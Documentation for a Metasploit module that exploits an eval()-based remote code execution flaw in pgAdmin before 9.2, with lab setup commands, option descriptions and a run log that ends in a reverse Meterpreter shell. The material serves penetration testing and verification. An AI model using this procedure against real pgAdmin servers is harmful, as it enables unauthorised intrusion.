## Vulnerable Application

### Description

This module exploits a vulnerability in pgAdmin where an authenticated user can establish a connection to the query tool
and send a specific payload in the query_commited POST parameter. This payload is directly executed via a Python eval()
statement, resulting in remote code execution in versions prior to 9.2.

To exploit this vulnerability, pgAdmin credentials are required. Additionally, in order to interact with the vulnerable
SQL editor component, valid database credentials are necessary to initialize a session and obtain a transaction ID,
which is required for the exploit.


### Setup

A pgAdmin Docker instance can be started using the following command:
```bash
docker run -d -p 8484:80 -e PGADMIN_DEFAULT_EMAIL=admin@admin.com -e PGADMIN_DEFAULT_PASSWORD=adminpassword --name pgadmin dpage/pgadmin4:9.0
```
A PostgreSQL database needs to be connected to the pgAdmin instance in order to exploit. The version of postgresql doesn't matter:
```bash
docker run -d -p 5432:5432 --name postgres -e POSTGRES_PASSWORD=mysecretpassword -e POSTGRES_USER=pgadminuser -e POSTGRES_DB=pgadmin postgres:latest
```

## Verification Steps
1. Start msfconsole.
1. Do: use exploit/multi/http/pgadmin_query_tool_authenticated.
1. Set the RHOST, USERNAME, PASSWORD, DB_USER, DB_PASS AND DB_NAME options.
1. Run the module.
1. Receive a Meterpreter session as the pgAdmin user. 

## Options

### USERNAME
The username for authentication (required).

### PASSWORD
The password for authentication (required).

### DB_USER
The database username to authenticate to the database with (required).

### DB_PASS
The password to authenticate to the database with (required).

### DB_NAME
The name of the database to target (required)

### MAX_SERVER_ID
The maximum number of Server IDs to try and connect to. This is used to determine the correct server ID for the exploit.
A valid `sid` is required in order to connect to the query_tool in order to exploit. The default value is 10.

## Scenarios
### pgAdmin 4 v9.0
```
msf exploit(multi/http/pgadmin_query_tool_authenticated) > run db_name=postgres db_user=pgadminuser db_pass=mysecretpassword rhost=127.0.0.1 rport=8484 username=admin@admin.com password=adminpassword lhost=172.16.199.1 MAX_SERVER_ID=10 verbose=true
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. pgAdmin version 9.0.0 is affected
[+] Successfully authenticated to pgAdmin
[*] Trying server ID: 1
[*] Trying server ID: 2
[*] Trying server ID: 3
[+] Successfully initialized sqleditor
[*] Exploiting the target...
[*] Sending stage (24772 bytes) to 172.16.199.1
[+] Received a 500 response from the exploit attempt, this is expected
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.1:62455) at 2025-04-09 17:05:17 -0700

meterpreter > getuid
Server username: pgadmin
smeterpreter > sysinfo
Computer     : e9b855f7cda2
OS           : Linux 6.10.14-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Mar 20 16:36:58 UTC 2025
Architecture : x64
Meterpreter  : python/linux
meterpreter >
```
